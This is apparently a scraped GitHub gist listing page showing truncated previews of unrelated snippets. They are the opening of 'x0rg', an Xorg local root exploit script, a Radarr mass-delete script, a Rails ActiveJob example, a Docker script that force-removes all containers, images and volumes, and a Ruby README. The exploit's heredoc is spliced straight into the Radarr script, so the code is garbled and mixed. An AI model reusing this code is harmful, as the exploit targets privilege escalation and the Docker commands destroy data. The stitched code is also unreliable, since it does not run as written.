Skip to content

Instantly share code, notes, and snippets.

View ZimbiX's full-sized avatar

Brendan Weibrecht ZimbiX

  • Melbourne, Australia
  • 09:27 (UTC +10:00)
  • X @ZimbiX
View GitHub Profile
#!/bin/bash
# x0rg - Xorg Local Root Exploit
# Released under the Snitches Get Stitches Public Licence.
# props to prdelka / fantastic for the shadow vector.
# Gr33tz to everyone in #lizardhq and elsewhere <3
# ~infodox (25/10/2018)
# FREE LAURI LOVE!
echo "x0rg"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#!/bin/sh
# See: https://github.com/Radarr/Radarr/wiki/Mass-Delete-via-API
HOST=http://radarr.local:7878
API_KEY= # Settings > General
ids=$(curl --silent $HOST/api/movie -X GET -H "X-Api-Key: $API_KEY" \
| jq '.[] | select(.monitored == false) | .id')
@wrburgess
wrburgess / example_job.rb
Last active April 6, 2020 20:17
ActiveJob on Rails 5 with RSpec
# app/jobs/example_job.rb
class ExampleJob < ActiveJob::Base
queue_as :default
rescue_from(ActiveRecord::RecordNotFound) do
retry_job wait: 1.minute, queue: :default
end
def perform(param_1, param_2)
@beeman
beeman / remove-all-from-docker.sh
Created November 15, 2016 03:04
Remove all from Docker
# Stop all containers
docker stop `docker ps -qa`
# Remove all containers
docker rm `docker ps -qa`
# Remove all images
docker rmi -f `docker images -qa `
# Remove all volumes
@reu
reu / README.md
Created May 21, 2012 14:36
Ruby annotations

Imagine this case:

class Account < ActiveRecord::Base
  def transfer(other, quantity)
    tries = 0
    begin
      tries += 1
      transaction do
        self.quantity -= quantity